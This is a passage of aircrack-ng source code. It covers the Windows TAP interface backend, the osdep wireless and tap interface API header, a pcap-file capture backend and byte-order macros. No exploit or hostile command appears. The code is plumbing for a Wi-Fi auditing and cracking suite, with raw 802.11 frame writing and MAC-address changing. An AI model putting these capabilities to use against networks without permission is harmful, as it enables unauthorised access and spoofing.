#include "osdep.h" #include #include #include #include #include #include "network.h" #include "tap-win32/common.h" extern int cygwin_read_reader(int fd, int plen, void *dst, int len); static void *ti_reader(void *arg); struct tip_cygwin { char tc_name[MAX_IFACE_NAME]; HANDLE tc_h; pthread_t tc_reader; volatile int tc_running; int tc_pipe[2]; /* reader -> parent */ pthread_mutex_t tc_mtx; HKEY tc_key; char tc_guid[256]; }; /** * Stop the reader thread (if it is running) * @return 0 if stopped or -1 if it failed to stop it */ static int stop_reader(struct tip_cygwin *priv) { if (priv->tc_running == 1) { int tries = 3; priv->tc_running = 0; while ((priv->tc_running != -1) && tries--) sleep(1); if (tries <= 0) return -1; } return 0; } /** * Start reader thread * @return -1 if failed to start thread or 0 if it is successful */ static int start_reader(struct tip_cygwin *priv) { priv->tc_running = 2; if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1; priv->tc_running = 1; return 0; } /** * Change status (enable/disable) of the device */ static int ti_media_status(struct tip_cygwin *priv, int on) { ULONG s = on; DWORD len; if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s, sizeof(s), &s, sizeof(s), &len, NULL)) return -1; return 0; } /** * Try opening device */ static int ti_try_open(struct tip_cygwin *priv, char *guid) { int any = priv->tc_guid[0] == 0; char device[256]; HANDLE h; if (!any && strcmp(priv->tc_guid, guid) != 0) return 0; /* open the device */ snprintf(device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX); h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED, 0); if (h == INVALID_HANDLE_VALUE) { if (any) return 0; else return -1; } priv->tc_h = h; /* XXX check tap version */ /* bring iface up */ if (ti_media_status(priv, 1) == -1) return -1; /* XXX grab printable name */ snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid); if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid); return 1; } /** * Read registry value * @param key Registry key * @return 0 if successful, -1 if it failed */ static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len) { DWORD dt, l = len; if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char*) res, &l) != ERROR_SUCCESS) return -1; if (dt != REG_SZ) return -1; if ((int)l > len) return -1; return 0; } static int ti_get_devs_component(struct tip_cygwin *priv, char *name) { char key[256]; int rc = 0; snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key) != ERROR_SUCCESS) return -1; if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out; /* make sure component id matches */ if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out; /* get guid */ if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out; rc = ti_try_open(priv, key); out: if (rc != 1) { RegCloseKey(priv->tc_key); priv->tc_key = 0; } return rc; } static int ti_do_open_cygwin(struct tip_cygwin *priv) { int rc = -1; HKEY ak47; int i; char name[256]; DWORD len; /* open network driver key */ if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47) != ERROR_SUCCESS) return -1; /* find tap */ for (i = 0;; i++) { len = sizeof(name); if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break; rc = ti_get_devs_component(priv, name); if (rc) break; rc = -1; } RegCloseKey(ak47); if (rc == 1) rc = 0; return rc; } static void ti_do_free(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); /* stop reader */ stop_reader(priv); if (priv->tc_pipe[0]) { close(priv->tc_pipe[0]); close(priv->tc_pipe[1]); } /* close card */ if (priv->tc_h) { ti_media_status(priv, 0); CloseHandle(priv->tc_h); } if (priv->tc_key) RegCloseKey(priv->tc_key); free(priv); free(ti); } static void ti_close_cygwin(struct tif *ti) { ti_do_free(ti); } static char *ti_name_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_name; } /* XXX */ static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi, SP_DEVINFO_DATA *did) { char buf[256]; DWORD len = sizeof(buf), dt; if (priv) {} /* XXX unused */ if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char*)buf, len, &len)) return 0; if (dt != REG_SZ) return 0; return strstr(buf, "TAP-Win32") != NULL; } static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state) { SP_PROPCHANGE_PARAMS parm; parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader); parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE; parm.Scope = DICS_FLAG_GLOBAL; parm.StateChange = state; if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*) &parm, sizeof(parm))) return -1; if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1; return 0; } /** * Reset the device * @return 0 if successful, -1 if it failed */ static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did) { int rc; rc = ti_reset_state(hdi, did, DICS_DISABLE); if (rc) return rc; return ti_reset_state(hdi, did, DICS_ENABLE); } static int ti_restart(struct tip_cygwin *priv) { /* kill handle to if */ if (priv->tc_h) CloseHandle(priv->tc_h); /* stop reader */ if (stop_reader(priv)) return -1; /* reopen dev */ if (ti_do_open_cygwin(priv)) return -1; return start_reader(priv); } static int ti_reset(struct tip_cygwin *priv) { HDEVINFO hdi; SP_DEVINFO_DATA did; int i; int rc = -1; hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT); if (hdi == INVALID_HANDLE_VALUE) return -1; /* find device */ for (i = 0;; i++) { did.cbSize = sizeof(did); if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break; if (!ti_is_us(priv, &hdi, &did)) continue; rc = ti_do_reset(&hdi, &did); if (rc) break; rc = ti_restart(priv); break; } SetupDiDestroyDeviceInfoList(hdi); return rc; } static int ti_set_mtu_cygwin(struct tif *ti, int mtu) { struct tip_cygwin *priv = ti_priv(ti); char m[16]; char mold[sizeof(m)]; char *key = "MTU"; /* check if reg remains unchanged to avoid reset */ snprintf(m, sizeof(m)-1, "%d", mtu); if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) { if (strcmp(m, mold) == 0) return 0; } /* change */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device MAC address * @param mac New MAC address * @return -1 if it failed, 0 on success */ static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac) { struct tip_cygwin *priv = ti_priv(ti); char str[2*6+1]; char strold[sizeof(str)]; int i; char *key = "MAC"; /* convert */ str[0] = 0; for (i = 0; i < 6; i++) { char tmp[3]; if (sprintf(tmp, "%.2X", *mac++) != 2) return -1; strcat(str, tmp); } /* check if changed */ if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) { if (strcmp(str, strold) == 0) return 0; } /* own */ if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str, strlen(str)+1) != ERROR_SUCCESS) return -1; if (ti_reset(priv) == -1) return -1; return 0; } /** * Set device IP address * @param ip New IP address * @return -1 if it failed, 0 on success */ static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip) { struct tip_cygwin *priv = ti_priv(ti); ULONG ctx, inst; IP_ADAPTER_INFO ai[16]; DWORD len = sizeof(ai); PIP_ADAPTER_INFO p; PIP_ADDR_STRING ips; if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1; p = ai; while (p) { if (strcmp(priv->tc_guid, p->AdapterName) != 0) { p = p->Next; continue; } /* delete ips */ ips = &p->IpAddressList; while (ips) { DeleteIPAddress(ips->Context); ips = ips->Next; } /* add ip */ if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst) != NO_ERROR) return -1; break; } return 0; } static int ti_fd_cygwin(struct tif *ti) { struct tip_cygwin *priv = ti_priv(ti); return priv->tc_pipe[0]; } static int ti_read_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); int plen; if (priv->tc_running != 1) return -1; /* read len */ if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1; return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len); } static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o) { DWORD sz; if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1; return sz; } static int ti_do_io(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { BOOL rc; DWORD sz; int err; /* setup overlapped */ memset(o, 0, sizeof(*o)); /* do io */ if (wr) rc = WriteFile(priv->tc_h, buf, len, &sz, o); else rc = ReadFile(priv->tc_h, buf, len, &sz, o); /* done */ if (rc) return sz; if ((err = GetLastError()) != ERROR_IO_PENDING) return -1; return 0; /* pending */ } static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len, OVERLAPPED *o, int wr) { int rc; if (pthread_mutex_lock(&priv->tc_mtx)) return -1; rc = ti_do_io(priv, buf, len, o, wr); if (pthread_mutex_unlock(&priv->tc_mtx)) return -1; /* done */ if (rc) return rc; return ti_wait_complete(priv, o); } static int ti_write_cygwin(struct tif *ti, void *buf, int len) { struct tip_cygwin *priv = ti_priv(ti); OVERLAPPED o; return ti_do_io_lock(priv, buf, len, &o, 1); } static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len) { OVERLAPPED o; int rc; while (priv->tc_running) { rc = ti_do_io_lock(priv, buf, len, &o, 0); if (rc) return rc; } return -1; } static void *ti_reader(void *arg) { struct tip_cygwin *priv = arg; unsigned char buf[2048]; int len; while (priv->tc_running) { /* read a packet */ if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break; assert(len > 0); /* write it's length */ if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; /* write payload */ if (write(priv->tc_pipe[1], buf, len) != len) break; } priv->tc_running = -1; return NULL; } static struct tif *ti_open_cygwin(char *iface) { struct tif *ti; struct tip_cygwin *priv; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; priv = ti_priv(ti); ti->ti_name = ti_name_cygwin; ti->ti_set_mtu = ti_set_mtu_cygwin; ti->ti_close = ti_close_cygwin; ti->ti_fd = ti_fd_cygwin; ti->ti_read = ti_read_cygwin; ti->ti_write = ti_write_cygwin; ti->ti_set_mac = ti_set_mac_cygwin; ti->ti_set_ip = ti_set_ip_cygwin; /* setup iface */ if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface); if (ti_do_open_cygwin(priv) == -1) goto err; /* setup reader */ if (pipe(priv->tc_pipe) == -1) goto err; if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err; /* launch reader */ if (start_reader(priv)) goto err; return ti; err: ti_do_free(ti); return NULL; } struct tif *ti_open(char *iface) { return ti_open_cygwin(iface); } aircrack-ng-1.2-beta3/src/osdep/osdep.h0000644000000000000000000001366311714766441016437 0ustar rootroot/* * Copyright (c) 2007, 2008, Andrea Bittau * All OS dependent crap should go here. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSEDEP_H__ #define __AIRCRACK_NG_OSEDEP_H__ #include #include #include "byteorder.h" #include "packed.h" /* For all structures, when adding new fields, always append them to the end. * This way legacy binary code does not need to be recompiled. This is * particularly useful for DLLs. -sorbo */ struct tx_info { unsigned int ti_rate; }; struct rx_info { uint64_t ri_mactime; int32_t ri_power; int32_t ri_noise; uint32_t ri_channel; uint32_t ri_freq; uint32_t ri_rate; uint32_t ri_antenna; } __packed; /* Normal code should not access this directly. Only osdep. * This structure represents a single interface. It should be created with * wi_open and destroyed with wi_close. */ #define MAX_IFACE_NAME 64 struct wif { int (*wi_read)(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); int (*wi_write)(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); int (*wi_set_channel)(struct wif *wi, int chan); int (*wi_get_channel)(struct wif *wi); int (*wi_set_freq)(struct wif *wi, int freq); int (*wi_get_freq)(struct wif *wi); void (*wi_close)(struct wif *wi); int (*wi_fd)(struct wif *wi); int (*wi_get_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_rate)(struct wif *wi, int rate); int (*wi_get_rate)(struct wif *wi); int (*wi_set_mtu)(struct wif *wi, int mtu); int (*wi_get_mtu)(struct wif *wi); int (*wi_get_monitor)(struct wif *wi); void *wi_priv; char wi_interface[MAX_IFACE_NAME]; }; /* Routines to be used by client code */ extern struct wif *wi_open(char *iface); extern int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); extern int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); extern int wi_set_channel(struct wif *wi, int chan); extern int wi_get_channel(struct wif *wi); extern int wi_set_freq(struct wif *wi, int freq); extern int wi_get_freq(struct wif *wi); extern void wi_close(struct wif *wi); extern char *wi_get_ifname(struct wif *wi); extern int wi_get_mac(struct wif *wi, unsigned char *mac); extern int wi_set_mac(struct wif *wi, unsigned char *mac); extern int wi_get_rate(struct wif *wi); extern int wi_set_rate(struct wif *wi, int rate); extern int wi_get_monitor(struct wif *wi); extern int wi_get_mtu(struct wif *wi); extern int wi_set_mtu(struct wif *wi, int mtu); /* wi_open_osdep should determine the type of card and setup the wif structure * appropriately. There is one per OS. Called by wi_open. */ extern struct wif *wi_open_osdep(char *iface); /* This will return the FD used for reading. This is required for using select * on it. */ extern int wi_fd(struct wif *wi); /* Helper routines for osdep code. */ extern struct wif *wi_alloc(int sz); extern void *wi_priv(struct wif *wi); /* Client code can use this to determine the battery state. One per OS. */ extern int get_battery_state(void); /* Client code can create a tap interface */ /* XXX we can unify the tap & wi stuff in the future, but for now, lets keep * them seperate until we learn something. */ struct tif { int (*ti_read)(struct tif *ti, void *buf, int len); int (*ti_write)(struct tif *ti, void *buf, int len); int (*ti_fd)(struct tif *ti); char *(*ti_name)(struct tif *ti); int (*ti_set_mtu)(struct tif *ti, int mtu); int (*ti_get_mtu)(struct tif *ti); int (*ti_set_ip)(struct tif *ti, struct in_addr *ip); int (*ti_set_mac)(struct tif *ti, unsigned char *mac); void (*ti_close)(struct tif *ti); void *ti_priv; }; /* one per OS */ extern struct tif *ti_open(char *iface); /* osdep routines */ extern struct tif *ti_alloc(int sz); extern void *ti_priv(struct tif *ti); /* client routines */ extern char *ti_name(struct tif *ti); extern int ti_set_mtu(struct tif *ti, int mtu); extern int ti_get_mtu(struct tif *ti); extern void ti_close(struct tif *ti); extern int ti_fd(struct tif *ti); extern int ti_read(struct tif *ti, void *buf, int len); extern int ti_write(struct tif *ti, void *buf, int len); extern int ti_set_mac(struct tif *ti, unsigned char *mac); extern int ti_set_ip(struct tif *ti, struct in_addr *ip); #endif /* __AIRCRACK_NG_OSEDEP_H__ */ aircrack-ng-1.2-beta3/src/osdep/file.c0000644000000000000000000001214412313371023016210 0ustar rootroot /* * Copyright (c) 2010 Andrea Bittau * * OS dependent API for using card via a pcap file. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "pcap.h" #include "radiotap/radiotap_iter.h" struct priv_file { int pf_fd; int pf_chan; int pf_rate; int pf_dtl; unsigned char pf_mac[6]; }; static int file_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_file *pf = wi_priv(wi); struct pcap_pkthdr pkh; int rc; unsigned char buf[4096]; int off = 0; struct ieee80211_radiotap_header *rh; struct ieee80211_radiotap_iterator iter; rc = read(pf->pf_fd, &pkh, sizeof(pkh)); if (rc != sizeof(pkh)) return -1; if (pkh.caplen > sizeof(buf)) { printf("Bad caplen %d\n", pkh.caplen); return 0; } assert(pkh.caplen <= sizeof(buf)); rc = read(pf->pf_fd, buf, pkh.caplen); if (rc != (int) pkh.caplen) return -1; if (ri) memset(ri, 0, sizeof(*ri)); switch (pf->pf_dtl) { case LINKTYPE_IEEE802_11: off = 0; break; case LINKTYPE_RADIOTAP_HDR: rh = (struct ieee80211_radiotap_header*) buf; off = le16_to_cpu(rh->it_len); if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0) return -1; while (ieee80211_radiotap_iterator_next(&iter) >= 0) { switch (iter.this_arg_index) { case IEEE80211_RADIOTAP_FLAGS: if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) rc -= 4; break; } } break; case LINKTYPE_PRISM_HEADER: if (buf[7] == 0x40) off = 0x40; else off = *((int *)(buf + 4)); rc -= 4; break; case LINKTYPE_PPI_HDR: off = le16_to_cpu(*(unsigned short *)(buf + 2)); /* for a while Kismet logged broken PPI headers */ if (off == 24 && le16_to_cpu(*(unsigned short *)(buf + 8)) == 2 ) off = 32; break; case LINKTYPE_ETHERNET: printf("Ethernet packets\n"); return 0; default: errx(1, "Unknown DTL %d", pf->pf_dtl); break; } rc -= off; assert(rc >= 0); if (rc > len) rc = len; memcpy(h80211, &buf[off], rc); return rc; } static int file_get_mac(struct wif *wi, unsigned char *mac) { struct priv_file *pn = wi_priv(wi); memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac)); return 0; } static int file_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_file *pn = wi_priv(wi); if (h80211 && ti && pn) {} return len; } static int file_set_channel(struct wif *wi, int chan) { struct priv_file *pf = wi_priv(wi); pf->pf_chan = chan; return 0; } static int file_get_channel(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_chan; } static int file_set_rate(struct wif *wi, int rate) { struct priv_file *pf = wi_priv(wi); pf->pf_rate = rate; return 0; } static int file_get_rate(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_rate; } static int file_get_monitor(struct wif *wi) { if (wi) {} return 1; } static void file_close(struct wif *wi) { struct priv_file *pn = wi_priv(wi); if (pn->pf_fd) close(pn->pf_fd); free(wi); } static int file_fd(struct wif *wi) { struct priv_file *pf = wi_priv(wi); return pf->pf_fd; } struct wif *file_open(char *iface) { struct wif *wi; struct priv_file *pf; int fd; struct pcap_file_header pfh; int rc; if (strncmp(iface, "file://", 7) != 0) return NULL; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = file_read; wi->wi_write = file_write; wi->wi_set_channel = file_set_channel; wi->wi_get_channel = file_get_channel; wi->wi_set_rate = file_set_rate; wi->wi_get_rate = file_get_rate; wi->wi_close = file_close; wi->wi_fd = file_fd; wi->wi_get_mac = file_get_mac; wi->wi_get_monitor = file_get_monitor; pf = wi_priv(wi); fd = open(iface + 7, O_RDONLY); if (fd == -1) err(1, "open()"); pf->pf_fd = fd; if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err; if (pfh.magic != TCPDUMP_MAGIC) goto __err; if (pfh.version_major != PCAP_VERSION_MAJOR || pfh.version_minor != PCAP_VERSION_MINOR) goto __err; pf->pf_dtl = pfh.linktype; return wi; __err: wi_close(wi); return (struct wif*) -1; } aircrack-ng-1.2-beta3/src/osdep/byteorder.h0000644000000000000000000003300412115155307017300 0ustar rootroot/* * Compatibility header * * Copyright (C) 2009 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_BYTEORDER_H_ #define _AIRCRACK_NG_BYTEORDER_H_ #define ___my_swab16(x) \ ((u_int16_t)( \ (((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \ (((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) )) #define ___my_swab32(x) \ ((u_int32_t)( \ (((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \ (((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) << 8) | \ (((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >> 8) | \ (((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) )) #define ___my_swab64(x) \ ((u_int64_t)( \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) << 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >> 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) )) /* * Linux */ #if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__) #include #include #include #ifndef __int8_t_defined typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif #endif /* * Cygwin */ #if defined(__CYGWIN32__) #include #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Windows (DDK) */ #if defined(__WIN__) #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * MAC (Darwin) */ #if defined(__APPLE_CC__) #if defined(__x86_64__) && defined(__APPLE__) #include #define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t)x) #define __swab32(x) (unsigned long) OSSwapInt32((uint32_t)x) #define __swab16(x) (unsigned short) OSSwapInt16((uint16_t)x) #define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x) #define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x) #define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x) #define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x) #define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x) #define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x) #define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x) #define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x) #define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x) #define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x) #define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x) #define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x) #else #include #define __swab64(x) NXSwapLongLong(x) #define __swab32(x) NXSwapLong(x) #define __swab16(x) NXSwapShort(x) #define __be64_to_cpu(x) NXSwapBigLongLongToHost(x) #define __be32_to_cpu(x) NXSwapBigLongToHost(x) #define __be16_to_cpu(x) NXSwapBigShortToHost(x) #define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x) #define __le32_to_cpu(x) NXSwapLittleLongToHost(x) #define __le16_to_cpu(x) NXSwapLittleShortToHost(x) #define __cpu_to_be64(x) NXSwapHostLongLongToBig(x) #define __cpu_to_be32(x) NXSwapHostLongToBig(x) #define __cpu_to_be16(x) NXSwapHostShortToBig(x) #define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x) #define __cpu_to_le32(x) NXSwapHostLongToLittle(x) #define __cpu_to_le16(x) NXSwapHostShortToLittle(x) #endif #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __PDP_ENDIAN 3412 #define __BYTE_ORDER __BIG_ENDIAN #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Solaris * ------- */ #if defined(__sparc__) && defined(__sun__) #include #include #include #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Custom stuff */ #if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__) #include #define __cpu_to_be64(x) = OSSwapHostToBigInt64(x) #define __cpu_to_be32(x) = OSSwapHostToBigInt32(x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif // FreeBSD #ifdef __FreeBSD__ #include #endif // XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...? // XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h // http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html // Write to apple to ask what should be used. #if defined(LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN #elif defined(__LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN #elif defined(_LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN #endif #if defined(BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN #elif defined(__BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN #elif defined(_BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN #endif #if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN) #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if defined(BYTE_ORDER) #if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif 